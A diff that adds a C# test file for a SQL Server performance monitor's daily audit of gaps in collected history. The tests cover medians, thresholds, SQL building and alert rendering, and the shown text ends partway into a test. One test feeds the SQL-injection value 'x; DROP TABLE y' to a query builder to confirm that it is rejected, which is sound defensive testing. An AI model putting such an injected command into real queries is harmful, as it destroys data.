diff --git a/Darling/Darling.Tests/CollectionHistoryAuditTests.cs b/Darling/Darling.Tests/CollectionHistoryAuditTests.cs
new file mode 100644
index 0000000000..077e0b5754
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHistoryAuditTests.cs
@@ -0,0 +1,1401 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+using Rollup = PerformanceMonitor.Darling.Service.CollectionHistoryAudit.Rollup;
+using HourBucket = PerformanceMonitor.Darling.Service.CollectionHistoryAudit.HourBucket;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5450 proposal 3: the daily retained-history audit. Pure rules (hour-of-day medians, the half test on each
+/// count, range merging, the three-day minimum), the evaluator's once-a-day and one-alert rules, and live reads
+/// of a seeded rollup.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. The live tests reach DARLING_TEST_PG only to
+   CREATE and DROP their own database through ScratchPostgres and work entirely inside it. */
+public sealed class CollectionHistoryAuditTests
+{
+    private static readonly CancellationToken Ct = TestContext.Current.CancellationToken;
+    private static readonly DateTime AuditDay = new(2026, 10, 10, 0, 0, 0, DateTimeKind.Utc);
+
+    /// <summary>A workload rollup: judged on servers only.</summary>
+    private static readonly Rollup QueryStats = new("collect.query_stats_interval_hourly", false);
+
+    /// <summary>The perfmon baseline: judged on servers and collection passes.</summary>
+    private static readonly Rollup Perfmon = new("collect.perfmon_interval_baseline", true);
+
+    /// <summary>The normal load curve: servers flat, passes climbing with the hour, so a pass test that
+    /// ignored the hour of day would be wrong somewhere.</summary>
+    private static (int Servers, long Passes) Usual(int hour) => (40, 1000 + (hour * 100));
+
+    private static IEnumerable<HourBucket> Day(
+        DateTime day, Func<int, (int Servers, long Passes)?> shape)
+    {
+        for (var hour = 0; hour < 24; hour++)
+        {
+            if (shape(hour) is { } v)
+            {
+                yield return new HourBucket(day.AddHours(hour), v.Servers, v.Passes);
+            }
+        }
+    }
+
+    private static List<HourBucket> Week(int priorDays = 7) =>
+        Enumerable.Range(1, priorDays)
+            .SelectMany(d => Day(AuditDay.AddDays(-d), h => Usual(h)))
+            .ToList();
+
+    private static List<HourBucket> WithAuditDay(List<HourBucket> week, Func<int, (int Servers, long Passes)?> shape)
+    {
+        week.AddRange(Day(AuditDay, shape));
+        return week;
+    }
+
+    [Fact]
+    public void ANormalDay_FlagsNothing()
+    {
+        var buckets = WithAuditDay(Week(), h => Usual(h));
+        var ranges = CollectionHistoryAudit.Analyze(AuditDay, buckets);
+        Assert.NotNull(ranges);
+        Assert.Empty(ranges!);
+    }
+
+    [Fact]
+    public void AThreeHourHole_IsOneRange_WithTheCountsAgainstUsual()
+    {
+        var buckets = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+        var range = Assert.Single(CollectionHistoryAudit.Analyze(AuditDay, buckets)!);
+        Assert.Equal(18, range.StartHour);
+        Assert.Equal(21, range.EndHour);
+        Assert.Equal("18:00-21:00Z", CollectionHistoryAudit.RangeLabel(range));
+        Assert.Equal(0, range.LowestServers);
+        Assert.Equal(40, range.UsualServers);
+        Assert.Equal(0, range.LowestPasses);
+    }
+
+    [Fact]
+    public void PassesAtTwentyPercent_WithEveryServerPresent_IsFlagged()
+    {
+        /* Case 2 of the issue: rows arrived every hour from every server and only the volume fell. */
+        var buckets = WithAuditDay(Week(), h => h is >= 5 and <= 7 ? (40, Usual(h).Passes / 5) : Usual(h));
+        var range = Assert.Single(CollectionHistoryAudit.Analyze(AuditDay, buckets)!);
+        Assert.Equal("05:00-08:00Z", CollectionHistoryAudit.RangeLabel(range));
+        Assert.Equal(40, range.LowestServers);
+        Assert.Equal(300, range.LowestPasses);
+        Assert.Equal(1500, range.UsualPasses);
+    }
+
+    [Fact]
+    public void AWorkloadSourceCarriesNoPasses_SoAQuietWeekendWithEveryServerPresentIsClean()
+    {
+        /* H2 of the #5461 review: a workload rollup is read for servers only (passes are 0 in every bucket), so a
+           weekend with a fraction of the queries but every server present flags nothing. */
+        var week = Enumerable.Range(1, 7).SelectMany(d => Day(AuditDay.AddDays(-d), h => (40, 0L))).ToList();
+        var buckets = WithAuditDay(week, h => (40, 0L));
+        Assert.Empty(CollectionHistoryAudit.Analyze(AuditDay, buckets)!);
+
+        /* ... and the hole in servers is still found. */
+        var holey = WithAuditDay(Enumerable.Range(1, 7).SelectMany(d => Day(AuditDay.AddDays(-d), h => (40, 0L))).ToList(),
+            h => h == 9 ? (10, 0L) : (40, 0L));
+        Assert.Equal("09:00-10:00Z", CollectionHistoryAudit.RangeLabel(Assert.Single(CollectionHistoryAudit.Analyze(AuditDay, holey)!)));
+    }
+
+    [Theory]
+    [InlineData(19, false)]   // 19 of 40 servers: under half
+    [InlineData(20, true)]    // exactly half is not under half
+    public void TheHalfTest_IsStrict_OnServersAlone(int servers, bool clean)
+    {
+        var buckets = WithAuditDay(Week(), h => h == 5 ? (servers, Usual(5).Passes) : Usual(h));
+        Assert.Equal(clean, CollectionHistoryAudit.Analyze(AuditDay, buckets)!.Count == 0);
+    }
+
+    [Theory]
+    [InlineData(749, false)]  // passes 749 of 1500: under half
+    [InlineData(750, true)]   // exactly half
+    public void TheHalfTest_IsStrict_OnPassesAlone(long passes, bool clean)
+    {
+        var buckets = WithAuditDay(Week(), h => h == 5 ? (40, passes) : Usual(h));
+        Assert.Equal(clean, CollectionHistoryAudit.Analyze(AuditDay, buckets)!.Count == 0);
+    }
+
+    [Fact]
+    public void AnHourWhoseUsualIsUnderOne_NeverFlags()
+    {
+        /* L3 of the #5461 review: four prior days of [0, 0, 1, 1] servers is a median of 0.5, and an actual of 0 is under
+           half of it, but half a server is not a usual worth judging. Usual 1 (two of the four days at 1, the rest
+           above) is. */
+        var prior = new[] { 0, 0, 1, 1 };
+        var buckets = new List<HourBucket>();
+        for (var d = 0; d < 4; d++)
+        {
+            buckets.AddRange(Day(AuditDay.AddDays(-(d + 1)), h => (h == 7 ? prior[d] : 5, 0L)));
+        }
+
+        buckets.AddRange(Day(AuditDay, h => h == 7 ? (0, 0L) : (5, 0L)));
+        Assert.Empty(CollectionHistoryAudit.Analyze(AuditDay, buckets)!);
+
+        /* Usual exactly 1 with an actual of 0 still flags. */
+        var one = new List<HourBucket>();
+        for (var d = 1; d <= 4; d++)
+        {
+            one.AddRange(Day(AuditDay.AddDays(-d), h => (h == 7 ? 1 : 5, 0L)));
+        }
+
+        one.AddRange(Day(AuditDay, h => h == 7 ? (0, 0L) : (5, 0L)));
+        Assert.Equal("07:00-08:00Z", CollectionHistoryAudit.RangeLabel(Assert.Single(CollectionHistoryAudit.Analyze(AuditDay, one)!)));
+    }
+
+    [Fact]
+    public void UsualIsTheMedianForThatHour_SoOneBadPriorDayDoesNotMoveIt()
+    {
+        var week = Week();
+        /* One prior day with a hole at hour 12: the median over seven days is still the normal value. */
+        week.RemoveAll(b => b.HourUtc == AuditDay.AddDays(-3).AddHours(12));
+        var buckets = WithAuditDay(week, h => Usual(h));
+        Assert.Empty(CollectionHistoryAudit.Analyze(AuditDay, buckets)!);
+        Assert.Equal(2.0, CollectionHistoryAudit.Median(new long[] { 1, 2, 3 }));
+        Assert.Equal(2.5, CollectionHistoryAudit.Median(new long[] { 4, 1, 3, 2 }));
+        Assert.Equal(0, CollectionHistoryAudit.Median(Array.Empty<long>()));
+    }
+
+    [Fact]
+    public void FewerThanThreePriorDaysWithData_IsSkipped_NotAudited()
+    {
+        var buckets = WithAuditDay(Week(priorDays: 2), h => null);
+        Assert.Null(CollectionHistoryAudit.Analyze(AuditDay, buckets));
+
+        /* Three is enough, and the audited day's own hole is then found. */
+        var three = WithAuditDay(Week(priorDays: 3), h => h == 9 ? null : Usual(h));
+        var range = Assert.Single(CollectionHistoryAudit.Analyze(AuditDay, three)!);
+        Assert.Equal(9, range.StartHour);
+        Assert.Equal(10, range.EndHour);
+    }
+
+    [Fact]
+    public void APriorDayWithNoRowsAtAll_IsNotADayOfUsual()
+    {
+        /* Prior days 1-3 empty (a store that was not building the source yet), days 4-7 normal: usual is the
+           normal value, not zero, so the hole on the audited day is still found. */
+        var buckets = Enumerable.Range(4, 4).SelectMany(d => Day(AuditDay.AddDays(-d), h => Usual(h))).ToList();
+        buckets.AddRange(Day(AuditDay, h => h == 3 ? null : Usual(h)));
+        var range = Assert.Single(CollectionHistoryAudit.Analyze(AuditDay, buckets)!);
+        Assert.Equal(3, range.StartHour);
+    }
+
+    [Fact]
+    public void SeparateRuns_AreSeparateRanges_AndTheLastHourIsAlwaysJudged()
+    {
+        var buckets = WithAuditDay(Week(), h => h is 2 or 3 or 10 or 23 ? null : Usual(h));
+        var ranges = CollectionHistoryAudit.Analyze(AuditDay, buckets)!;
+        Assert.Equal(new[] { "02:00-04:00Z", "10:00-11:00Z", "23:00-24:00Z" }, ranges.Select(CollectionHistoryAudit.RangeLabel));
+    }
+
+    [Fact]
+    public void ASourceIsSettled_OnlyWhenItsNewestBucketReachesTheDaysLastHour()
+    {
+        var through22 = WithAuditDay(Week(), h => h <= 22 ? Usual(h) : null);
+        Assert.False(CollectionHistoryAudit.IsSettled(AuditDay, through22));
+
+        /* The 23:00 bucket, or any later one (the read runs an hour into the next day), settles it. */
+        Assert.True(CollectionHistoryAudit.IsSettled(AuditDay, WithAuditDay(Week(), h => Usual(h))));
+        var holeAt23 = WithAuditDay(Week(), h => h == 23 ? null : Usual(h));
+        holeAt23.Add(new HourBucket(AuditDay.AddDays(1), 40, 1000));
+        Assert.True(CollectionHistoryAudit.IsSettled(AuditDay, holeAt23));
+        Assert.False(CollectionHistoryAudit.IsSettled(AuditDay, new List<HourBucket>()));
+
+        Assert.Equal(AuditDay.AddDays(1).AddHours(1), CollectionHistoryAudit.ReadTo(AuditDay));
+        Assert.Equal(TimeSpan.FromHours(3), CollectionHistoryAudit.DueTimeOfDay);
+    }
+
+    [Fact]
+    public void TheReadRunsUpToTheCurrentHour_NeverEarlierThanOneHourPastTheAuditedDay()
+    {
+        /* H1 of the #5461 round 2 review: the read ends at the current hour, so a bucket after a hole that runs past
+           01:00Z is in it. A bucket at 01:00Z or 02:00Z settles a source whose 23:00 bucket is missing. */
+        var tick = new DateTime(2026, 10, 11, 3, 5, 0, DateTimeKind.Utc);
+        Assert.Equal(new DateTime(2026, 10, 11, 3, 0, 0, DateTimeKind.Utc), CollectionHistoryAudit.ReadTo(AuditDay, tick));
+        Assert.Equal(DateTimeKind.Utc, CollectionHistoryAudit.ReadTo(AuditDay, tick).Kind);
+        Assert.Equal(AuditDay.AddDays(2).AddHours(3), CollectionHistoryAudit.ReadTo(AuditDay, AuditDay.AddDays(2).AddHours(3).AddMinutes(59)));
+
+        /* Never earlier than the day's own end plus one hour, whatever the clock says. */
+        Assert.Equal(CollectionHistoryAudit.ReadTo(AuditDay), CollectionHistoryAudit.ReadTo(AuditDay, AuditDay.AddHours(5)));
+
+        var holeThroughMidnight = WithAuditDay(Week(), h => h == 23 ? null : Usual(h));
+        holeThroughMidnight.Add(new HourBucket(AuditDay.AddDays(1).AddHours(2), 40, Usual(2).Passes));
+        Assert.True(CollectionHistoryAudit.IsSettled(AuditDay, holeThroughMidnight));
+    }
+
+    [Fact]
+    public void TheFlaggedHours_AreTheDistinctHoursOfTheDay_NotHoursTimesSources()
+    {
+        /* L2 of the #5461 round 2 review: one three-hour outage that thins every source is three hours. */
+        var shared = new[] { new CollectionHistoryAudit.FlaggedRange(18, 21, 0, 40, 0, 0) };
+        var overlapping = new[] { new CollectionHistoryAudit.FlaggedRange(20, 22, 0, 40, 0, 0) };
+        var sources = Enumerable.Range(0, 7).Select(i => new Rollup("collect.s" + i, false)).ToArray();
+
+        Assert.Equal(3, CollectionHistoryAudit.FlaggedHours(sources.Select(r => (r, (IReadOnlyList<CollectionHistoryAudit.FlaggedRange>)shared))));
+        Assert.Equal(4, CollectionHistoryAudit.FlaggedHours(new (Rollup, IReadOnlyList<CollectionHistoryAudit.FlaggedRange>)[]
+        {
+            (sources[0], shared), (sources[1], overlapping),
+        }));
+    }
+
+    [Fact]
+    public void TheSql_HasARangePredicateOnBucket_AndCountsOnlyServersEnabledNow()
+    {
+        var servers = CollectionHistoryAudit.BuildSql(QueryStats);
+        Assert.Contains("FROM collect.query_stats_interval_hourly AS r", servers, StringComparison.Ordinal);
+        Assert.Contains("WHERE r.bucket >= $1", servers, StringComparison.Ordinal);
+        Assert.Contains("r.bucket <  $2", servers, StringComparison.Ordinal);
+        Assert.Contains("COUNT(DISTINCT r.server_id)", servers, StringComparison.Ordinal);
+        Assert.Contains("0::bigint", servers, StringComparison.Ordinal);
+        Assert.DoesNotContain("sample_count", servers, StringComparison.Ordinal);
+
+        /* M1 of the #5461 review: servers enabled now only, on every day the read covers. */
+        Assert.Contains("JOIN config.config_monitored_servers AS c", servers, StringComparison.Ordinal);
+        Assert.Contains("AND c.is_enabled", servers, StringComparison.Ordinal);
+
+        var passes = CollectionHistoryAudit.BuildSql(Perfmon);
+        Assert.Contains("FROM collect.perfmon_interval_baseline AS r", passes, StringComparison.Ordinal);
+        Assert.Contains("COUNT(*)::bigint", passes, StringComparison.Ordinal);
+        Assert.Contains("AND c.is_enabled", passes, StringComparison.Ordinal);
+
+        Assert.Throws<ArgumentException>(() => CollectionHistoryAudit.BuildSql(new Rollup("x; DROP TABLE y", true)));
+        Assert.Throws<ArgumentException>(() => CollectionHistoryAudit.BuildSql(new Rollup("x; DROP TABLE y", false, CollectionHistoryAudit.ReadShape.Probe)));
+    }
+
+    /// <summary>#5461: the probe statement keeps the three things the big-store timing depends on, and drops the
+    /// hours nobody has a row in.</summary>
+    [Fact]
+    public void TheProbeSql_IsAPerServerPerHourLateralWithALimit_OnATimestampSeries_AndDropsEmptyHours()
+    {
+        var probe = CollectionHistoryAudit.BuildSql(new Rollup("collect.query_store_stats_hourly", false, CollectionHistoryAudit.ReadShape.Probe));
+        Assert.DoesNotContain("COUNT(DISTINCT", probe, StringComparison.Ordinal);
+        Assert.Contains("generate_series($1::timestamp, $2::timestamp, INTERVAL '1 hour')", probe, StringComparison.Ordinal);
+        Assert.Contains("CROSS JOIN config.config_monitored_servers AS c", probe, StringComparison.Ordinal);
+        Assert.Contains("LEFT JOIN LATERAL", probe, StringComparison.Ordinal);
+        Assert.Contains("FROM collect.query_store_stats_hourly AS r", probe, StringComparison.Ordinal);
+        Assert.Contains("r.server_id = c.server_id", probe, StringComparison.Ordinal);
+        Assert.Contains("r.bucket = h.bucket", probe, StringComparison.Ordinal);
+        Assert.Contains("WHERE c.is_enabled", probe, StringComparison.Ordinal);
+        Assert.Contains("h.bucket < $2::timestamp", probe, StringComparison.Ordinal);
+
+        /* LIMIT 1 inside the lateral keeps the planner from flattening it to a semi join that reads the whole range. */
+        Assert.Matches(@"(?s)LATERAL \(.*LIMIT 1\s*\) AS p ON true", probe);
+
+        /* An hour with no server is ABSENT, as in the scan: IsSettled counts any bucket, so a zero row would mark a
+           hole as materialized. */
+        Assert.Contains("HAVING COUNT(p.one) > 0", probe, StringComparison.Ordinal);
+
+        /* The scan shape is unchanged for a Scan source. */
+        var scan = CollectionHistoryAudit.BuildSql(new Rollup("collect.query_stats_interval_hourly", false));
+        Assert.DoesNotContain("LATERAL", scan, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5461: the interval hourly is not audited directly, and the reason is pinned. Each assertion's
+    /// message names the reason, so a change to one of these CREATE statements says why the audit needs a look.</summary>
+    [Fact]
+    public void TheIntervalHourlyIsNotAudited_BecauseItsChildAndSiblingReadTheSameRawTableWithNoFilter()
+    {
+        var corrected = TimescaleSupport.CreateQueryStoreStatsCorrectedHourlySql;
+        var hourly = TimescaleSupport.CreateQueryStoreStatsHourlySql;
+        var interval = TimescaleSupport.CreateQueryStoreStatsIntervalHourlySql;
+        const string Why = " (#5461: the history audit does not read query_store_stats_interval_hourly because its same-width child"
+            + " query_store_stats_corrected_hourly has no filter on it, and query_store_stats_hourly reads the same raw table with no filter,"
+            + " so a server missing from the interval hourly is missing from both audited views. Re-decide the audit's coverage.)";
+
+        Assert.True(corrected.Contains("FROM collect.query_store_stats_interval_hourly", StringComparison.Ordinal),
+            "the corrected hourly no longer reads FROM collect.query_store_stats_interval_hourly" + Why);
+        Assert.True(corrected.Contains("time_bucket('1 hour', bucket)", StringComparison.Ordinal),
+            "the corrected hourly is no longer a time_bucket('1 hour', bucket) over the interval hourly" + Why);
+        Assert.False(corrected.Contains("WHERE", StringComparison.OrdinalIgnoreCase),
+            "the corrected hourly now has a WHERE on the interval hourly" + Why);
+
+        foreach (var (name, sql) in new[] { ("query_store_stats_hourly", hourly), ("query_store_stats_interval_hourly", interval) })
+        {
+            Assert.True(System.Text.RegularExpressions.Regex.IsMatch(sql, @"FROM collect\.query_store_stats\s"),
+                name + " no longer reads FROM collect.query_store_stats" + Why);
+            Assert.False(sql.Contains("WHERE", StringComparison.OrdinalIgnoreCase),
+                name + " now has a WHERE on collect.query_store_stats" + Why);
+        }
+
+        Assert.Equal(new[] { TimescaleSupport.QueryStoreStatsIntervalHourlyView }, CollectionHistoryAudit.UnauditedHourlyViews.ToArray());
+    }
+
+    /// <summary>#5461: the two probe sources each keep a (server_id, bucket) index, every hourly aggregate is
+    /// audited with a shape or is the one documented exclusion, and no other source is probed.</summary>
+    [Fact]
+    public void EveryProbeSourceKeepsAServerIdBucketIndex_AndEveryHourlyAggregateIsAuditedOrTheOneExclusion()
+    {
+        foreach (var rollup in CollectionHistoryAudit.Rollups.Where(r => r.Shape == CollectionHistoryAudit.ReadShape.Probe))
+        {
+            var view = rollup.Relation["collect.".Length..];
+            Assert.True(TimescaleSupport.QueryStoreRollupKeptIndexesSql.TryGetValue(view, out var kept),
+                view + " is probed but TimescaleSupport keeps no indexes for it");
+            Assert.Contains("a1.attname = 'server_id'", kept, StringComparison.Ordinal);
+            Assert.Contains("a2.attname = 'bucket'", kept, StringComparison.Ordinal);
+            Assert.False(rollup.JudgesPasses, "a probe only learns whether a server has a row in an hour, never passes");
+        }
+
+        Assert.Equal(
+            new[] { "collect.query_store_stats_corrected_hourly", "collect.query_store_stats_hourly" },
+            CollectionHistoryAudit.Rollups.Where(r => r.Shape == CollectionHistoryAudit.ReadShape.Probe).Select(r => r.Relation).OrderBy(x => x, StringComparer.Ordinal));
+
+        var audited = CollectionHistoryAudit.Rollups.Select(r => r.Relation).ToHashSet(StringComparer.Ordinal);
+        foreach (var (_, view) in TimescaleSupport.HourlyAggregates)
+        {
+            var isAudited = audited.Contains("collect." + view);
+            var isExcluded = CollectionHistoryAudit.UnauditedHourlyViews.Contains(view);
+            Assert.True(isAudited ^ isExcluded, view + " must be audited with a read shape, or be the one documented exclusion, not both or neither");
+        }
+    }
+
+    [Fact]
+    public void TheAuditedSources_AreTheLiveHourlyAggregatesForServers_AndThePerfmonBaselineForPasses()
+    {
+        var names = CollectionHistoryAudit.Rollups.Select(r => r.Relation).ToArray();
+        Assert.Equal(
+            TimescaleSupport.HourlyAggregates.Where(a => a.View != TimescaleSupport.QueryStoreStatsIntervalHourlyView)
+                .Select(a => "collect." + a.View)
+                .Append("collect." + TimescaleSupport.PerfmonIntervalBaselineView),
+            names);
+        Assert.DoesNotContain("collect." + TimescaleSupport.QueryStoreStatsIntervalHourlyView, names);
+        Assert.DoesNotContain("collect." + TimescaleSupport.QueryStatsHourlyView, names);
+        Assert.DoesNotContain("collect." + TimescaleSupport.ProcedureStatsHourlyView, names);
+
+        /* Only the perfmon baseline is judged on passes; the six workload rollups never are (H2). */
+        Assert.Equal(new[] { "collect." + TimescaleSupport.PerfmonIntervalBaselineView },
+            CollectionHistoryAudit.Rollups.Where(r => r.JudgesPasses).Select(r => r.Relation));
+
+        /* Each one the audit reads has the columns the statement names. */
+        foreach (var (createSql, view) in TimescaleSupport.HourlyAggregates)
+        {
+            Assert.Contains("AS bucket", createSql, StringComparison.Ordinal);
+            Assert.Contains("server_id", createSql, StringComparison.Ordinal);
+            if (view != TimescaleSupport.QueryStoreStatsIntervalHourlyView)
+            {
+                Assert.Contains("collect." + view, names);
+            }
+        }
+
+        Assert.Contains("AS bucket", TimescaleSupport.CreatePerfmonIntervalBaselineSql, StringComparison.Ordinal);
+        Assert.Contains("collection_time", TimescaleSupport.CreatePerfmonIntervalBaselineSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SourcesWithIdenticalFlaggedRanges_ShareOneLine_AndUnreadSourcesAreNamed()
+    {
+        var shared = new[] { new CollectionHistoryAudit.FlaggedRange(18, 21, 0, 40, 0, 0) };
+        var other = new[] { new CollectionHistoryAudit.FlaggedRange(4, 5, 10, 40, 0, 0) };
+        var a = new Rollup("collect.query_store_stats_hourly", false);
+        var b = new Rollup("collect.query_store_stats_corrected_hourly", false);
+        var c = new Rollup("collect.query_stats_interval_hourly", false);
+        var text = CollectionHistoryAudit.Render(AuditDay, new (Rollup, IReadOnlyList<CollectionHistoryAudit.FlaggedRange>)[]
+        {
+            (a, shared), (c, other), (b, shared),
+        }, new[] { new Rollup("collect.procedure_stats_interval_hourly", false) });
+
+        Assert.Contains("query_store_stats_hourly, query_store_stats_corrected_hourly: 18:00-21:00Z (servers as low as 0 vs usual 40)", text, StringComparison.Ordinal);
+        Assert.Contains("query_stats_interval_hourly: 04:00-05:00Z (servers as low as 10 vs usual 40)", text, StringComparison.Ordinal);
+        Assert.Equal(1, text.Split("18:00-21:00Z").Length - 1);
+        Assert.Contains("Not read for this day: procedure_stats_interval_hourly", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("Not read", CollectionHistoryAudit.Render(AuditDay, new (Rollup, IReadOnlyList<CollectionHistoryAudit.FlaggedRange>)[] { (a, shared) }), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheMetric_IsSelfMonitorFamily_Warning_AndNumeric()
+    {
+        Assert.Equal("Collection Gaps In History", DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric);
+        Assert.Equal(AlertFamily.SelfMonitor, AlertFamily.Of(DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric));
+        Assert.Equal("WARNING", AlertSeverity.ForMetric(DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric).BadgeText);
+        Assert.False(PerformanceMonitor.Common.AlertMetricClassifier.IsStateOnly(DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric));
+
+        /* The stamp key is its own row, distinct from the three daily documents'. */
+        var others = new[]
+        {
+            PgSelfAlertDeliveryStampStore.CostDigestStateKey, PgSelfAlertDeliveryStampStore.FleetSweepRollupStateKey,
+            PgSelfAlertDeliveryStampStore.AnalysisSinglesDigestStateKey,
+        };
+        Assert.DoesNotContain(PgSelfAlertDeliveryStampStore.HistoryAuditStateKey, others);
+    }
+
+    /* ---------------- the evaluator: once a day, one alert, failure isolation ---------------- */
+
+    private sealed class MemoryStampStore : ISelfAlertDeliveryStampStore
+    {
+        public Dictionary<string, DateTime> Stamps { get; } = new(StringComparer.Ordinal);
+
+        public Task<DateTime?> GetDeliveredAtUtcAsync(string stateKey, CancellationToken cancellationToken) =>
+            Task.FromResult(Stamps.TryGetValue(stateKey, out var at) ? at : (DateTime?)null);
+
+        public Task RecordDeliveredAtUtcAsync(string stateKey, DateTime deliveredAtUtc, CancellationToken cancellationToken)
+        {
+            Stamps[stateKey] = deliveredAtUtc;
+            return Task.CompletedTask;
+        }
+    }
+
+    private sealed class NoHistoryStore : IAlertHistoryStore
+    {
+        public Task RecordAlertAsync(AlertHistoryRecord record) => Task.CompletedTask;
+
+        public Task<DateTime?> GetLastEmailSentUtcAsync(string serverId, string metricName, string? dedupKey = null) =>
+            Task.FromResult<DateTime?>(null);
+
+        public Task<DateTime?> GetLastWebhookSentUtcAsync(string serverId, string metricName, string? dedupKey = null) =>
+            Task.FromResult<DateTime?>(null);
+
+        public Task<DateTime?> GetLastAlertTimeAsync(string serverId, string metricName, string? dedupKey = null) =>
+            Task.FromResult<DateTime?>(null);
+
+        public Task<DateTime?> GetLastDeliveredPageUtcAsync(string serverId, string metricName) => Task.FromResult<DateTime?>(null);
+    }
+
+    /// <summary>One "process": its own evaluator, deliverer and clock over a stamp store the test shares.</summary>
+    private sealed class Process
+    {
+        public DarlingSelfAlertTests.RecordingDeliverer Deliverer { get; } = new();
+        public DarlingSelfAlertTests.FakeSettings Settings { get; } = new();
+        public DateTime Now { get; set; }
+        public AlertReadFailureCounter ReadFailures { get; } = new();
+        public DarlingSelfAlertTests.CapturingLogger Log { get; } = new();
+        public DarlingSelfAlertEvaluator Evaluator { get; }
+
+        public Process(MemoryStampStore stamps, DateTime now)
+        {
+            Now = now;
+            Evaluator = new DarlingSelfAlertEvaluator(
+                Settings, Deliverer, new NoHistoryStore(), _ => false,
+                logger: Log, utcNow: () => Now, readFailures: ReadFailures, deliveryStamps: stamps);
+        }
+
+        public int Reads { get; private set; }
+
+        public Task RunAsync(IReadOnlyList<HourBucket> queryStats, IReadOnlyList<HourBucket>? perfmon = null) =>
+            Evaluator.ApplyCollectionHistoryAuditAsync(
+                (rollup, from, to, token) =>
+                {
+                    Reads++;
+                    Assert.Equal(AuditDay.AddDays(-7), from);
+                    /* The read runs up to the current hour (every tick of these tests is on the day after the audited day
+                       or later), so a bucket after a hole across midnight is in it. */
+                    Assert.Equal(Now.Date.AddHours(Now.Hour), to);
+                    return Task.FromResult<IReadOnlyList<HourBucket>?>(
+                        rollup.Relation == QueryStats.Relation ? queryStats : perfmon);
+                },
+                new[] { QueryStats, Perfmon }, Ct);
+
+        /// <summary>A run whose reader is the test's own: per-relation behaviour, and a count of reads of each.</summary>
+        public Task RunWithAsync(Func<Rollup, DateTime, IReadOnlyList<HourBucket>?> reader, Dictionary<string, int>? reads = null) =>
+            Evaluator.ApplyCollectionHistoryAuditAsync(
+                (rollup, from, to, token) =>
+                {
+                    if (reads is not null)
+                    {
+                        reads[rollup.Relation] = (reads.TryGetValue(rollup.Relation, out var seen) ? seen : 0) + 1;
+                    }
+
+                    return Task.FromResult(reader(rollup, from));
+                },
+                new[] { QueryStats, Perfmon }, Ct);
+    }
+
+    private static readonly DateTime FirstPass = new(2026, 10, 11, 3, 5, 0, DateTimeKind.Utc);
+
+    [Fact]
+    public async Task OneAlertPerRun_NamingTheDayAndEachFlaggedRollup()
+    {
+        var p = new Process(new MemoryStampStore(), FirstPass.AddHours(1));
+        var holey = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+        var thin = WithAuditDay(Week(), h => h is >= 5 and <= 7 ? (40, Usual(h).Passes / 5) : Usual(h));
+
+        await p.RunAsync(holey, thin);
+
+        var fired = Assert.Single(p.Deliverer.Outcomes);
+        Assert.Equal("Collection Gaps In History", fired.MetricName);
+        Assert.Equal(AlertSeverityLevel.Warning, fired.Severity);
+        Assert.Equal("collectionhistoryaudit:2026-10-10", fired.ServerKey);
+        Assert.Contains("2026-10-10", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("query_stats_interval_hourly: 18:00-21:00Z (servers as low as 0 vs usual 40)", fired.DetailText, StringComparison.Ordinal);
+        Assert.Contains("perfmon_interval_baseline: 05:00-08:00Z (servers as low as 40 vs usual 40, collection passes as low as 300 vs usual 1,500)", fired.DetailText, StringComparison.Ordinal);
+        Assert.DoesNotContain("Not read", fired.DetailText, StringComparison.Ordinal);
+        Assert.Equal(6, fired.NumericCurrentValue);
+    }
+
+    [Fact]
+    public async Task ANormalDay_RaisesNothing_AndStillSpendsTheDay()
+    {
+        var stamps = new MemoryStampStore();
+        var p = new Process(stamps, FirstPass.AddHours(1));
+        var normal = WithAuditDay(Week(), h => Usual(h));
+
+        await p.RunAsync(normal, normal);
+        Assert.Empty(p.Deliverer.Outcomes);
+        Assert.Equal(2, p.Reads);
+
+        /* An hour later the day is spent: no second read of either source. */
+        p.Now = p.Now.AddHours(1);
+        await p.RunAsync(normal, normal);
+        Assert.Equal(2, p.Reads);
+    }
+
+    [Fact]
+    public async Task ARestartOnTheSameDay_DoesNotRaiseItTwice_AndTheNextDayDoes()
+    {
+        var stamps = new MemoryStampStore();
+        var holey = WithAuditDay(Week(), h => h is >= 18 and <= 20 ? null : Usual(h));
+
+        var first = new Process(stamps, FirstPass);
+        await first.RunAsync(holey, holey);
+        Assert.Single(first.Deliverer.Outcomes);
+        Assert.Equal(new DateTime(2026, 10, 11, 3, 0, 0, DateTimeKind.Utc), stamps.Stamps["history_audit_slot"]);
+
+        /* A fresh process over the same store, hours later the same UTC day. */
+        var second = new Process(stamps, FirstPass.AddHours(10));
+        await second.RunAsync(holey, holey);
+        Assert.Empty(second.Deliverer.Outcomes);
+        Assert.Equal(0, second.Reads);
+
+        /* The next UTC day, at 03:00Z or after, is due again (and audits the day before it). */
+        var third = new Process(stamps, new DateTime(2026, 10, 12, 3, 0, 0, DateTimeKind.Utc));
+        Assert.True(await DueAsync(third, holey));
+    }
+
+    private static async Task<bool> DueAsync(Process p, List<HourBucket> buckets)
+    {
+        var read = false;
+        await p.Evaluator.ApplyCollectionHistoryAuditAsync(
+            (rollup, from, to, token) =>
+            {
+                read = true;
+                return Task.FromResult<IReadOnlyList<HourBucket>?>(buckets);
+            },
+            new[] { QueryStats }, Ct);
+        return read;
+    }
+
+    [Fact]
+    public async Task TheSlotIsThreeOClock_NothingIsReadBeforeIt_OrWithAlertsOff()
+    {
